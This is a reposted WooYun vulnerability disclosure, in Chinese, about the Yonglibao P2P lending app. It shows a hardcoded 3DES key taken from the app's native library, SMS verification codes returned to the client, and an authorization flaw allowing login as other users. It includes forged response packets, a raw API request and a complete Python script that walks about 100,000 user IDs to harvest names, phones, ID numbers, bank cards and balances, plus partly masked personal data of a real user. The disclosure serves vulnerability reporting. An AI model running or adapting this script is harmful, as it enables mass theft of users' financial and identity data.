P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

admin 2017年4月1日09:30:53评论321 views字数 220阅读0分44秒阅读模式
摘要

2016-03-24: 细节已通知厂商并且等待厂商处理中
2016-03-27: 厂商已经确认,细节仅向厂商公开
2016-04-06: 细节向核心白帽子及相关领域专家公开
2016-04-16: 细节向普通白帽子公开
2016-04-26: 细节向实习白帽子公开
2016-05-11: 细节向公众公开

漏洞概要 关注数(28) 关注此漏洞

缺陷编号: WooYun-2016-188449

漏洞标题: P2P金融安全之永利宝某处缺陷(可批量获取用户信息) P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

相关厂商: yonglibao.com

漏洞作者: Zhe

提交时间: 2016-03-24 10:31

公开时间: 2016-05-11 20:07

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

4人收藏


漏洞详情

披露状态:

2016-03-24: 细节已通知厂商并且等待厂商处理中
2016-03-27: 厂商已经确认,细节仅向厂商公开
2016-04-06: 细节向核心白帽子及相关领域专家公开
2016-04-16: 细节向普通白帽子公开
2016-04-26: 细节向实习白帽子公开
2016-05-11: 细节向公众公开

简要描述:

又学一招

详细说明:

上次测试就发现,APP可反编译,可惜找不到密钥。恶补了几天的android。才发现原来放在so文件中,昨晚测着测着就维护了。早上起来一看,囧,给个更新了。发现只是日志打印修复了。验证码还是返回了。。。

当然,纯粹的破解算法,并没有什么卵用。却能通过解密后发现新问题。

1.APP反编译。

加解密算法

P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

用IDA加载so文件,翻着翻着就找到了

P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

2.短信验证码返回(估计短时间没修改),可重置登陆或支付密码,上次说过了

P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

解密结果

P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

直接输入验证码即可完成需要验证码的操作 。

重置过程见 WooYun: P2P金融安全之永利宝某处登录密码/支付密码重置

2.多接口存在越权问题(新发现的问题)

先说说登陆

P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

返回内容,经解密后数据如下

code 区域
{"s":{"code":1000,"msg":"登陆成功"},"r":{"i":"10002","a":"vicky879","p":"13501790686","e":"321281198301打个码","r":"刘秀莉","v":"1","n":"vicky879","t":"1411898796","j":776,"s":1,"c":"6228480031093打个码","m":"35.91"}}

无token或者session字段。经验证,i为用户uid,e为用户身份证,p为手机号,c为银行卡,r为用户姓名,m为可用余额。

登陆后APP展示信息如下

P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

越权登陆(多接口越权缺陷),改造登陆后的返回包

剔除不定因数

code 区域
{"s":{"code":1000,"msg":"/u767b/u9646/u6210/u529f"},"r":{"i":"10023","a":"1","p":"1","e":"1","r":"1","v":"1","n":"vicky879","t":"1411898796","j":1,"s":1,"c":"1","m":"35.91"}}

只留下uid=10023

加密后结果

code 区域
j46LP7ql4ioXaDd2bCSqjrTtKNFhbgghrUWFA8YPKgEHyNKew6nAdy4zzYG0e2X3syVCizd5KdlFe4vOilk+/wKI4xIamuGoocydtMyxghDc6vyeuC+OM1CEe4VaKIj/uAOA82t62NzZILBSe1x3fHpIVhozwmsspS5d+JwMgJB++ApkeSV+grmigWhDyjTsRqfmBI5hmvmABiJ5a+kmYV6MQqA6yO8P/fh3C4nAb5Y=

用这个返回包替换掉你的账号登陆后的结果,均可登陆手机号为187****9811,uid=10023的用户。进行操作。

P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

选取比较重要的接口做遍历测试。

code 区域
POST http://api.yonglibao.com/Apiv7/User/myinfo HTTP/1.1
User-Agent: Yonglibao_from_A
X-Wap-Proxy-Cookie: none
Cookie: CHANNEL=null;APP_VERSION=android_yonglibaoV4.2.2;TERMINAL=android_41A3945A92BD7B1D41B5AE511F7B3835%7C000000000000000;APP_TIME=1458776499779;BDUSS=;
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: api.yonglibao.com
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 311

i=g5BiQ4ozDgD1bu2eNcaOCSrGiBz5resTIaeKKn47xDKY5H6sPFcmXov6S0oN0dsrtpL%2F8rqeJB8M%0AtcKPvkjOf8fU5DHkrvqx0f0GEpaXwq1%2BapEkfGmXifLHQt1IS6wPoVE38AmtW%2BPhBQQb5ugzfl5I%0AMlOYLwGxT6jMb%2FVpOL7qc9md0%2B0A7t3cy7pkaj9Iyy5HfTcmnPcJVFGEsb%2BXGDUaHsIPiyTIjEiT%0AiBwTzzdgUJ9ZIOGaI6lVSPauAVdIv3EIjFXwhwVCN4k4BMINQg%3D%3D%0A&

遍历uid后发包,可获取用户信息(手机号,姓名,银行卡,账上各种金额等)

遍历结果如下

P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

P2P金融安全之永利宝某处缺陷(可批量获取用户信息)

漏洞证明:

批量请求myinfo 的脚本,内含加解密函数(比较糙)

code 区域
import pyDes
import requests
import base64
import urllib

key="8daluqp9xm2kw6zs1hta0000"


def DES3encrypt(param):
obj = pyDes.triple_des(key,mode=pyDes.ECB,IV=None,pad=None,padmode=pyDes.PAD_PKCS5)
d = obj.encrypt(param)
result=base64.b64encode(d)
result=urllib.quote_plus(result)
return result
def DES3decrypt(param):
#param=urllib.quote_plus(param)
param=base64.b64decode(param)
obj = pyDes.triple_des(key,mode=pyDes.ECB,IV=None,pad=None,padmode=pyDes.PAD_PKCS5)
result = obj.decrypt(param)
return result


def send (payload):
headers = {'User-Agent': 'Yonglibao_from_A',"Content-Type":" application/x-www-form-urlencoded; charset=UTF-8"}
data="i="+payload+"&"
r = requests.post("http://mo.yonglibao.com/Apiv7/User/myinfo", data=data,headers=headers)
result=DES3decrypt(r.text)
return result


def start():
fp=open("1.txt","a")
for i in range(10000,110100):
userinfo=""
param='''{"requesttime":1458728953,"system":"222","u":"33A65921FF60DD89653D1B4BC914AE03|000000000000000","client":"android","version":"yonglibaoV4.2.1","i":'''+str(i)+"}"
print param
payload=DES3encrypt(param)
userinfo=send(payload)
fp.write(userinfo)
fp.write("/n")
fp.close()

param="j46LP7ql4ioXaDd2bCSqjrTtKNFhbgghy/z6YAO6O/cZaeBzwdGhIIZaJqCJJmp84VvNyOXsavFysfuuqJS7waFybTIB9S2On/FEd7ox7uKzh1bLs0fPSsZVOHsqKndH3pOGh371ERKnxdwZg7QRjVlfSifXO26bByD0I574/zHUBNKaOuqbOTluUA2lpDhKWXS4kyibCrS2xtq0m0tBKx3Ja0McPcZXnsXS2aYP5bb/nyy/4yuhE1M74gppnrOEFzZnEH9ALFTedjDBbPJDraTZpRbsbvkg57NTipx7KDu5tGKwHjHs7GnN4Ca4KWmR"
print DES3decrypt(param)
start()

修复方案:

重要性来说

1.修复越权。。

2.修复短信验证码回显

3.如果以上都修复了,可以不考虑APP加固的问题。

这次都遍历数据了。应该能比12Rank高了吧,谢谢

版权声明:转载请注明来源 Zhe@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2016-03-27 20:07

厂商回复:

!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin